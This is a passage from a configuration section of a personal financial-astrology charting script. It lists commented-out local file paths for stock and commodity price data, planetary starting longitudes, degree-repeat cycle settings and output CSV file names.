\"/home/rluu/programming/pricechartingtool/data/pricebars/stocks/DJIA/DJIA_1980_to_Current.txt\"\n#marketDataInputFilename = \"/home/rluu/programming/pricechartingtool/data/pricebars/stocks/ABX/ABX.txt\"\n#marketDataInputFilename = \"/home/rluu/programming/pricechartingtool/data/pricebars/stocks/AXP/AXP.txt\"\n#marketDataInputFilename = \"/home/rluu/programming/pricechartingtool/data/pricebars/stocks/C/C.txt\"\n#marketDataInputFilename = \"/home/rluu/programming/pricechartingtool/data/pricebars/stocks/GG/GG.txt\"\n#marketDataInputFilename = \"/home/rluu/programming/pricechartingtool/data/pricebars/stocks/IBM/IBM.txt\"\n#marketDataInputFilename = \"/home/rluu/programming/pricechartingtool/data/pricebars/stocks/INTC/INTC.txt\"\n#marketDataInputFilename = \"/home/rluu/programming/pricechartingtool/data/pricebars/stocks/JCP/JCP.txt\"\n#marketDataInputFilename = \"/home/rluu/programming/pricechartingtool/data/pricebars/stocks/JPM/JPM.txt\"\n#marketDataInputFilename = \"/home/rluu/programming/pricechartingtool/data/pricebars/stocks/TDW/TDW.txt\"\n#marketDataInputFilename = \"/home/rluu/programming/pricechartingtool/data/pricebars/stocks/X/X.txt\"\n\n\n# May Coffee. (Tokyo J-1).\n#marketDataInputFilename = \"/home/rluu/programming/pricechartingtool/data/pricebars/futures/KC/KC_K_PriceData.txt\"\n#marketDataInputFilename = \"/home/rluu/programming/pricechartingtool/data/pricebars/futures/KC/KC_K_TradingCharts.txt\"\n\n\n# March Wheat.\n#marketDataInputFilename = \"/home/rluu/programming/pricechartingtool/data/pricebars/futures/ZW/Wheat_Alblak_Forecasts_Study_Pricebar_Data/ZW_H_PriceData_and_TFC_Merged.txt\"\n# May Wheat.\n#marketDataInputFilename = \"/home/rluu/programming/pricechartingtool/data/pricebars/futures/ZW/Wheat_Alblak_Forecasts_Study_Pricebar_Data/ZW_K_PriceData_and_TFC_Merged.txt\"\n# July Wheat.\n#marketDataInputFilename = \"/home/rluu/programming/pricechartingtool/data/pricebars/futures/ZW/Wheat_Alblak_Forecasts_Study_Pricebar_Data/ZW_N_PriceData_and_TFC_Merged.txt\"\n# December Wheat.\n#marketDataInputFilename = \"/home/rluu/programming/pricechartingtool/data/pricebars/futures/ZW/Wheat_Alblak_Forecasts_Study_Pricebar_Data/ZW_Z_PriceData_and_TFC_Merged.txt\"\n# July Wheat.\n#marketDataInputFilename = \"/home/rluu/programming/pricechartingtool/data/pricebars/futures/W/W_N_GannStyle_TradingCharts.txt\"\n#marketDataInputFilename = \"/home/rluu/download/trading/data/futuresData_TradingCharts/EODFutures/Wheat/July/Wheat_CBOT_Pit_And_Electronic_combined/Wheat_July_CBOT_Pit_And_Electronic_combined_1970_to_2014.txt\"\n\n# Gold - June contract (GC_M).\n#marketDataInputFilename = \"/home/rluu/programming/pricechartingtool/master/data/pricebars/futures/GC/GCM.txt\"\n\n\n# Column number for the timestamp. The timestamp in this column is\n# expected to be in the format \"MM/DD/YYYY\".\n#\n# For market data obtained from my personal scripts, this is usually column 0.\nmarketDataInputFileTimestampColumn = 0\n\n# Column number for the high price for a given timestamp.\n#\n# For market data obtained from my personal scripts, this is usually column 2.\nmarketDataInputFileHighPriceColumn = 2\n\n# Column number for the low price for a given timestamp.\n#\n# For market data obtained from my personal scripts, this is usually column 3.\nmarketDataInputFileLowPriceColumn = 3\n\n\n# Starting longitude degree in the format of always-increasing longitude.\n# This is the starting longitude value of the first 'repeat'.\n# Use a value just slightly before the starting date's longitude.\n#\n#startingLongitude = 53280 # G.Moon at 0 deg Aries on 1996-01-24.\n#\n#startingLongitude = 157870 # approx G.Moon new moon on 1926-10-06.\n#startingLongitude = 92733.47 # G.Moon/G.Sun on 1926-10-23.\n#startingLongitude = 100143 # G.Moon on 1926-10-23.\n#startingLongitude = 7790 # G.Mercury on 1926-10-23.\n#startingLongitude = 7762 # G.Venus on 1926-10-23.\n#startingLongitude = 7769.5 # G.Sun on 1926-10-23.\n#startingLongitude = 4365.2 # G.Mars on 1926-10-23.\n#startingLongitude = 667.465 # G.Jupiter on 1926-10-23.\n#startingLongitude = 595.295 # G.Saturn on 1926-10-23.\n#startingLongitude = 31240 # H.Mercury on 1926-10-23.\n#startingLongitude = 12432 # H.Venus on 1926-10-23.\n#startingLongitude = 7589.53 # H.Earth on 1926-10-23.\n#startingLongitude = 3994.47 # H.Mars on 1926-10-23.\n#\n#startingLongitude = 2097.08 # G.Moon on 1906-06-09.\n#startingLongitude = 2019.16 # G.Moon/G.Sun on 1906-06-09.\n#startingLongitude = 438.94 # G.Mercury on 1906-06-09.\n#startingLongitude = 466.84 # G.Venus on 1906-06-09.\n#startingLongitude = 437.92 # G.Sun on 1906-06-09.\n#startingLongitude = 448.6 # G.Mars on 1906-06-09.\n#startingLongitude = 78.6 # G.Jupiter on 1906-06-09.\n#startingLongitude = 344.79 # G.Saturn on 1906-06-09.\n#startingLongitude = 802.31 # H.Mercury on 1906-06-09.\n#startingLongitude = 510 # H.Venus on 1906-06-09.\n#startingLongitude = 257.92 # H.Earth on 1906-06-09.\n#startingLongitude = 95.41 # H.Mars on 1906-06-09.\n\n#startingLongitude = 567 # G.Sun on 1906-11-07.\n#startingLongitude = 54913 # G.Sun on 1906-11-07.\n#startingLongitude = 375\n#startingLongitude = 373\n#startingLongitude = 30\n\n\n# For TTTA:\n#startingLongitude = 47880 # H.Mercury at 0 deg long, at about 45 CD before 1926.\n#startingLongitude = 18720 # H.Venus at 0 deg long, at about 78 CD before 1926.\n#startingLongitude = 11520 # H.Earth at 0 deg long, at about 100 CD before 1926.\n#startingLongitude = 6120 # H.Mars at 0 deg long, at about 220 CD before 1926.\n#startingLongitude = 720 # H.Jupiter at 0 deg long, sometime before 1926.\n#startingLongitude = 360 # H.Saturn at 0 deg long, sometime before 1926.\n\n#startingLongitude = 133 + (360*435)\n#startingLongitude = 360 # G.Moon/G.Sun at 0 deg Aries on 1969-01-18.\nstartingLongitude = 360 # Good starting longitude for all planets.\n#startingLongitude = 720 # Good starting longitude for all planets if 360 doesn't work.\n#startingLongitude = 7216.0 # H.Earth on around 1925-10-09.\n\n\n# Number of degrees elapsed for each repeat. A new set of columns in the\n# output file will be created after this amount of degrees has been elapsed.\n#numDegreesElapsedForRepeat = 360\n#numDegreesElapsedForRepeat = 180\n#numDegreesElapsedForRepeat = 588\n#numDegreesElapsedForRepeat = 850\n#numDegreesElapsedForRepeat = 1000\n#numDegreesElapsedForRepeat = 2400\n#numDegreesElapsedForRepeat = 4928\n#numDegreesElapsedForRepeat = 360 * 44\n#numDegreesElapsedForRepeat = 360 * 252 # For G.Moon/G.Sun.\n#numDegreesElapsedForRepeat = 360 * 12 # For G.Moon/G.Sun.\n#numDegreesElapsedForRepeat = 360 * 34 # For G.Moon/G.Sun.\n#numDegreesElapsedForRepeat = 12000 # For G.Moon/G.Sun.\n#numDegreesElapsedForRepeat = 360 * 5 # For G.Moon/G.Sun.\n#numDegreesElapsedForRepeat = 360 * 20 # For G.Moon/G.Sun.\n#numDegreesElapsedForRepeat = 360 * 25 # For G.Moon/G.Sun.\n#numDegreesElapsedForRepeat = 360 * 14 # For G.Moon/G.Sun.\n#numDegreesElapsedForRepeat = 360 * 71 # For G.Moon/G.Sun.\n#numDegreesElapsedForRepeat = 360 * 21 # For G.Moon/G.Sun.\n#numDegreesElapsedForRepeat = 360 * 22 # For G.Moon/G.Sun.\n#numDegreesElapsedForRepeat = 360 * 24 # For G.Moon/G.Sun.\n#numDegreesElapsedForRepeat = 360 * 50 # For G.Moon/G.Sun.\n#numDegreesElapsedForRepeat = 360 * 68 # For G.Moon/G.Sun.\n#numDegreesElapsedForRepeat = 360 * 69 # For G.Moon/G.Sun.\n#numDegreesElapsedForRepeat = 360 * 70 # For G.Moon/G.Sun.\n#numDegreesElapsedForRepeat = 360 * 7 # For G.Moon.\n#numDegreesElapsedForRepeat = 360 * 10 # For G.Moon.\n#numDegreesElapsedForRepeat = 360 * 20 # For G.Moon.\n#numDegreesElapsedForRepeat = 360 * 14 # For G.Moon.\n#numDegreesElapsedForRepeat = 360 * 15 # For G.Moon.\n#numDegreesElapsedForRepeat = 360 * 17 # For G.Moon.\n#numDegreesElapsedForRepeat = 360 * 21 # For G.Moon.\n#numDegreesElapsedForRepeat = 360 * 23 # For G.Moon.\n#numDegreesElapsedForRepeat = 360 * 29 # For G.Moon.\n#numDegreesElapsedForRepeat = 360 * 34 # For G.Moon.\n#numDegreesElapsedForRepeat = 360 * 44 # For G.Moon.\n#numDegreesElapsedForRepeat = 360 * 22 # For G.Moon.\n#numDegreesElapsedForRepeat = 360 * 49 # For G.Moon.\n#numDegreesElapsedForRepeat = 360 * 69 # For G.Moon.\n#numDegreesElapsedForRepeat = 24110 # For G.Moon.\n#numDegreesElapsedForRepeat = 1800 # For G.Sun (5 rev).\n#numDegreesElapsedForRepeat = 2000 # For G.Sun.\n#numDegreesElapsedForRepeat = 3600 # For G.Sun (10 rev.)\n#numDegreesElapsedForRepeat = 360 * 21 # For H.Mercury\n#numDegreesElapsedForRepeat = (360 * 21) + 153 # For H.Mercury\n#numDegreesElapsedForRepeat = ((360 * 21) + 153) * 2 # For H.Mercury\n#numDegreesElapsedForRepeat = 360 * 22 # For H.Mercury\n#numDegreesElapsedForRepeat = 7462 # For H.Mercury\n#numDegreesElapsedForRepeat = 7789 # For H.Mercury\n#numDegreesElapsedForRepeat = 11850 # For H.Mercury\n#numDegreesElapsedForRepeat = 2920 # For H.Venus (8 rev + 40 deg).\n#numDegreesElapsedForRepeat = 8.4 * 360 # For H.Venus\n#numDegreesElapsedForRepeat = 2933 # For H.Venus\n#numDegreesElapsedForRepeat = 3063 # For H.Venus\n#numDegreesElapsedForRepeat = 4439 # For H.Venus\n#numDegreesElapsedForRepeat = 4643 # For H.Venus\n#numDegreesElapsedForRepeat = 4680 # For H.Venus (13 rev).\n#numDegreesElapsedForRepeat = 360 * 3 # For H.Venus/H.Earth\n#numDegreesElapsedForRepeat = 360 * 4 # For H.Venus/H.Earth\n#numDegreesElapsedForRepeat = 360 * 5 # For H.Venus/H.Earth\n#numDegreesElapsedForRepeat = 360 * 6 # For H.Venus/H.Earth\n#numDegreesElapsedForRepeat = 360 * 7 # For H.Venus/H.Earth\n#numDegreesElapsedForRepeat = 1129 # For H.Venus/H.Earth\n#numDegreesElapsedForRepeat = 360 # For H.Venus/H.Mars\n#numDegreesElapsedForRepeat = 960 # For H.Venus/H.Mars\n#numDegreesElapsedForRepeat = 1634 # For H.Venus/H.Mars\n#numDegreesElapsedForRepeat = 1613 # For H.Venus/H.Mars\n#numDegreesElapsedForRepeat = 1616 # For H.Venus/H.Mars\n#numDegreesElapsedForRepeat = 808 # For H.Venus/H.Mars\n#numDegreesElapsedForRepeat = 782 # For H.Venus/H.Mars\n#numDegreesElapsedForRepeat = 360 * 3 # For H.Venus/H.Mars\n#numDegreesElapsedForRepeat = 360 * 5 # For H.Venus/H.Mars\n#numDegreesElapsedForRepeat = 432 # For H.Venus/H.Mars\n#numDegreesElapsedForRepeat = 1800 # For H.Earth (5 rev).\n#numDegreesElapsedForRepeat = 1872 # For H.Earth\n#numDegreesElapsedForRepeat = 2732 # For H.Earth.\n#numDegreesElapsedForRepeat = 2857 # For H.Earth.\n#numDegreesElapsedForRepeat = (360 * 3) + 194 # For H.Mercury/H.Earth\n#numDegreesElapsedForRepeat = ((360 * 22) + 155) / 2 # For H.Earth/H.Mars\n#numDegreesElapsedForRepeat = 360 * 11 # For H.Earth/H.Mars\n#numDegreesElapsedForRepeat = 360 * 1 # For H.Earth/H.Mars\n#numDegreesElapsedForRepeat = 360 * 3 # For H.Mars\n#numDegreesElapsedForRepeat = 360 * 4 # For H.Mars\n#numDegreesElapsedForRepeat = 360 * 5 # For H.Mars\n#numDegreesElapsedForRepeat = 432 # For H.Mars\n#numDegreesElapsedForRepeat = (360 * 4) - 25 # For H.Mars\n#numDegreesElapsedForRepeat = (360 * 4) - 21 # For H.Mars\n#numDegreesElapsedForRepeat = 360 * 5 # For H.Mars\n#numDegreesElapsedForRepeat = 360 * 6 # For H.Mars\n#numDegreesElapsedForRepeat = 360 * 7 # For H.Mars\n#numDegreesElapsedForRepeat = 360 * 8 # For H.Mars\n\n#numDegreesElapsedForRepeat = 1942 # For H. Mars. \"11 years\" in TTTA.\n\n#numDegreesElapsedForRepeat = 625 # For H.Mars/H.Jupiter.\n#numDegreesElapsedForRepeat = 725 # For H.Mars/H.Jupiter.\n#numDegreesElapsedForRepeat = 804 # For H.Mars/H.Jupiter.\n#numDegreesElapsedForRepeat = 340 # For H.Mars/H.Jupiter.\n#numDegreesElapsedForRepeat = 170 # For H.Mars/H.Jupiter.\n#numDegreesElapsedForRepeat = 750 # For H.Mars/H.Jupiter.\n#numDegreesElapsedForRepeat = 3910 # For H.Mars/H.Jupiter.\n#numDegreesElapsedForRepeat = 1164 # For H.Mars/H.Jupiter.\n#numDegreesElapsedForRepeat = (360 * 6) + 25 # For H.Mars/H.Jupiter.\n\n#numDegreesElapsedForRepeat = 222.6 # For H.Jupiter\n#numDegreesElapsedForRepeat = 233 # For H.Jupiter\n#numDegreesElapsedForRepeat = 440 # For H.Jupiter\n\n#numDegreesElapsedForRepeat = 84 # For G.Saturn\n\n#numDegreesElapsedForRepeat = 360 # For H.Earth/H.Mars\n#numDegreesElapsedForRepeat = 360 * 7 # For H.Earth/H.Mars\n#numDegreesElapsedForRepeat = 288 # For H.Venus/H.Earth\n#numDegreesElapsedForRepeat = 420 # For H.Mercury\n#numDegreesElapsedForRepeat = 49 # For H.Earth\nnumDegreesElapsedForRepeat = 60 # For G.Mars\n\n# Ouptut CSV file. \n#outputFilename = \"/home/rluu/programming/pricechartingtool/doc/notes/TTTA/ephemeris_studies/CountingWheelsFrom_19060609/H.Mars_180_deg_repeats.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/doc/research/stocks/DJIA/G.Moon_15840_deg_repeats_or_sheet_of_44.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/doc/G.Sun_7_degree_repeats_1776_to_1935.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/doc/notes/TTTA/ephemeris_studies/G.Moon_360_deg_repeats.csv\"\n\n# \"Time\"(s) in TTTA.\n#outputFilename = \"/home/rluu/programming/pricechartingtool/doc/notes/TTTA/ephemeris_studies/CalendarDay_sheet_of_850.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/doc/notes/TTTA/ephemeris_studies/CalendarDay_sheet_of_1000.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/doc/notes/TTTA/ephemeris_studies/CalendarDay_sheet_of_588.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/doc/notes/TTTA/ephemeris_studies/G.Sun_sheet_of_180_deg.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/doc/notes/TTTA/ephemeris_studies/G.Sun_sheet_of_1000_deg.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/doc/notes/TTTA/ephemeris_studies/G.Sun_sheet_of_1800_deg.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/doc/notes/TTTA/ephemeris_studies/G.Sun_sheet_of_2400_deg.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/doc/notes/TTTA/ephemeris_studies/G.Sun_sheet_of_4928_deg.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/doc/notes/TTTA/ephemeris_studies/G.Sun_sheet_of_1.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/doc/notes/TTTA/ephemeris_studies/G.Sun_sheet_of_252.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/doc/notes/TTTA/ephemeris_studies/G.Moon_sheet_of_1.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/doc/notes/TTTA/ephemeris_studies/G.Moon_sheet_of_7.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/doc/notes/TTTA/ephemeris_studies/G.Moon_sheet_of_14.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/doc/notes/TTTA/ephemeris_studies/G.Moon_sheet_of_15.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/doc/notes/TTTA/ephemeris_studies/G.Moon_sheet_of_17.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/doc/notes/TTTA/ephemeris_studies/G.Moon_sheet_of_23.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/doc/notes/TTTA/ephemeris_studies/G.Moon_sheet_of_29.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/doc/notes/TTTA/ephemeris_studies/G.Moon_sheet_of_34.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/doc/notes/TTTA/ephemeris_studies/G.Moon_sheet_of_49.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/doc/notes/TTTA/ephemeris_studies/G.Moon_sheet_of_24110_deg.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/doc/notes/TTTA/ephemeris_studies/G.Moon_G.Sun_sheet_of_1.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/doc/notes/TTTA/ephemeris_studies/G.Moon_G.Sun_sheet_of_7.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/doc/notes/TTTA/ephemeris_studies/H.Mercury_sheet_of_1.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/doc/notes/TTTA/ephemeris_studies/H.Mercury_sheet_of_1781.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/doc/notes/TTTA/ephemeris_studies/H.Mercury_sheet_of_7789.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/doc/notes/TTTA/ephemeris_studies/H.Venus_sheet_of_1.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/doc/notes/TTTA/ephemeris_studies/H.Venus_sheet_of_2933_deg.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/doc/notes/TTTA/ephemeris_studies/H.Venus_sheet_of_3063_deg.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/doc/notes/TTTA/ephemeris_studies/H.Venus_sheet_of_4439_deg.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/doc/notes/TTTA/ephemeris_studies/H.Venus_H.Earth_sheet_of_1129_deg.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/doc/notes/TTTA/ephemeris_studies/H.Earth_sheet_of_1.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/doc/notes/TTTA/ephemeris_studies/H.Earth_sheet_of_2732_deg.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/doc/notes/TTTA/ephemeris_studies/H.Mars_sheet_of_1.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/doc/notes/TTTA/ephemeris_studies/H.Mars_sheet_of_1942_deg.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/doc/notes/TTTA/ephemeris_studies/H.Jupiter_sheet_of_1.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/doc/notes/TTTA/ephemeris_studies/H.Jupiter_sheet_of_440_deg.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/doc/notes/TTTA/ephemeris_studies/H.Saturn_sheet_of_1.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/doc/notes/TTTA/ephemeris_studies/G.Saturn_sheet_of_84_deg.csv\"\n\n#outputFilename = \"/home/rluu/programming/pricechartingtool/doc/notes/TTTA/ephemeris_studies/H.Earth_49_degree_repeats_to_NYC_Battle.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/doc/notes/TTTA/ephemeris_studies/G.Moon_24840_deg_repeats_or_sheet_of_69.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/doc/notes/TTTA/ephemeris_studies/G.Moon_sheet_of_68.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/doc/notes/TTTA/ephemeris_studies/G.Moon_sheet_of_17.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/doc/notes/TTTA/ephemeris_studies/H.Mars_1440_deg_repeats_or_sheet_of_4.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/doc/notes/TTTA/ephemeris_studies/H.Mars_1800_deg_repeats_or_sheet_of_5.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/doc/notes/TTTA/ephemeris_studies/H.Mars_2160_deg_repeats_or_sheet_of_6.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/doc/notes/TTTA/ephemeris_studies/H.Mars_2520_deg_repeats_or_sheet_of_7.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/doc/notes/TTTA/ephemeris_studies/H.Mars_2880_deg_repeats_or_sheet_of_8.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/doc/notes/TTTA/ephemeris_studies/H.Mercury_360_deg_repeats_or_sheet_of_1.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/doc/notes/TTTA/ephemeris_studies/H.Venus_360_deg_repeats_or_sheet_of_1.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/doc/notes/TTTA/ephemeris_studies/H.Earth_360_deg_repeats_or_sheet_of_1.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/doc/notes/TTTA/ephemeris_studies/H.Mars_360_deg_repeats_or_sheet_of_1.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/doc/notes/TTTA/ephemeris_studies/H.Jupiter_360_deg_repeats_or_sheet_of_1.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/doc/notes/TTTA/ephemeris_studies/H.Saturn_360_deg_repeats_or_sheet_of_1.csv\"\n\n\n#outputFilename = \"/home/rluu/programming/pricechartingtool/doc/notes/TTTA/ephemeris_studies/H.Mars_H.Jupiter_804_deg_repeats_or_sheet_of_2.2333.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/doc/notes/TTTA/ephemeris_studies/H.Mars_H.Jupiter_170_deg_repeats_or_sheet_of_0.47222.csv\"\n\n#outputFilename = \"/home/rluu/programming/pricechartingtool/doc/notes/TTTA/ephemeris_studies/H.Jupiter_sheet_of_222.6_deg.csv\"\n\n#outputFilename = \"/home/rluu/programming/pricechartingtool/doc/notes/TTTA/ephemeris_studies/G.Moon_G.Sun_4320_deg_repeats_or_sheet_of_12.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/doc/notes/TTTA/ephemeris_studies/G.Moon_G.Sun_sheet_of_34.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/doc/notes/TTTA/ephemeris_studies/G.Moon_G.Sun_4320_deg_repeats_or_sheet_of_24.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/doc/notes/TTTA/ephemeris_studies/G.Moon_G.Sun_12000_deg_repeats_or_sheet_of_33.333.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/doc/notes/TTTA/ephemeris_studies/G.Moon_G.Sun_1800_deg_repeats_or_sheet_of_5.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/doc/notes/TTTA/ephemeris_studies/G.Moon_G.Sun_7200_deg_repeats_or_sheet_of_20.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/doc/notes/TTTA/ephemeris_studies/G.Moon_G.Sun_9000_deg_repeats_or_sheet_of_25.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/doc/notes/TTTA/ephemeris_studies/G.Moon_G.Sun_5040_deg_repeats_or_sheet_of_14.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/doc/notes/TTTA/ephemeris_studies/G.Moon_G.Sun_7560_deg_repeats_or_sheet_of_21.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/doc/notes/TTTA/ephemeris_studies/G.Moon_G.Sun_7920_deg_repeats_or_sheet_of_22.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/doc/notes/TTTA/ephemeris_studies/G.Moon_G.Sun_8640_deg_repeats_or_sheet_of_24.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/doc/notes/TTTA/ephemeris_studies/G.Moon_G.Sun_18000_deg_repeats_or_sheet_of_50.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/doc/notes/TTTA/ephemeris_studies/G.Moon_G.Sun_248400_deg_repeats_or_sheet_of_69.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/doc/notes/TTTA/ephemeris_studies/G.Moon_G.Sun_25200_deg_repeats_or_sheet_of_70.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/doc/notes/TTTA/ephemeris_studies/H.Mars_H.Jupiter_2185_deg_or_6.07_circle_repeats.csv\"\n\n\n\n\n# Wheat\n#\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/G.Sun_3600_deg_repeats_December_Wheat.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/G.Sun_2000_deg_repeats_July_Wheat.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/G.Sun_2000_deg_repeats_July_Wheat.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/G.Sun_2000_deg_repeats_July_Wheat.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/G.Moon_7920_deg_or_22_circle_repeats_July_Wheat_1969_to_2016.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/H.Mercury_7560_deg_or_21_circle_repeats_July_Wheat_1969_to_2016.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/H.Mercury_7920_deg_or_22_circle_repeats_July_Wheat_1969_to_2016.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/H.Mercury_11850_deg_repeats_July_Wheat.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/H.Venus_4643_deg_repeats_July_Wheat.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/H.Venus_2920_deg_repeats_July_Wheat.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/H.Earth_1872_deg_repeats_July_Wheat.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/H.Mars_1080_deg_or_3_circle_repeats_July_Wheat_1969_to_2016.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/H.Mercury_7920_deg_or_22_circle_repeats_March_Wheat_1969_to_2016.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/H.Mars_2880_deg_or_8_circle_repeats_March_Wheat_1969_to_2016.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/H.Mars_1440_deg_or_4_circle_repeats_July_Wheat_1969_to_2016.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/H.Mars_1800_deg_or_5_circle_repeats_July_Wheat_1969_to_2016.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/H.Mars_2160_deg_or_6_circle_repeats_July_Wheat_1969_to_2016.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/H.Venus_H.Earth_1080_deg_or_3_circle_repeats_July_Wheat_1969_to_2016.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/H.Venus_H.Earth_1440_deg_or_4_circle_repeats_July_Wheat_1969_to_2016.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/H.Venus_H.Earth_1800_deg_or_5_circle_repeats_July_Wheat_1969_to_2016.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/H.Venus_H.Earth_2160_deg_or_6_circle_repeats_July_Wheat_1969_to_2016.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/H.Venus_H.Earth_2520_deg_or_7_circle_repeats_July_Wheat_1969_to_2016.csv\"\n\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/H.Venus_H.Mars_1800_deg_or_5_circle_repeats_July_Wheat_1969_to_2016.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/H.Venus_H.Mars_1800_deg_or_5_circle_repeats_July_Wheat_1969_to_2016.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/H.Venus_H.Mars_360_deg_or_1_circle_repeats_July_Wheat_1969_to_2016.csv\"\n#outputFilename = \"/home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleOfRepetition/H.Venus_H.Mars_1634_deg_or_4.5388_circle_repeats_July_Wheat_1969_to_2016.csv\"\n#outputFilename = 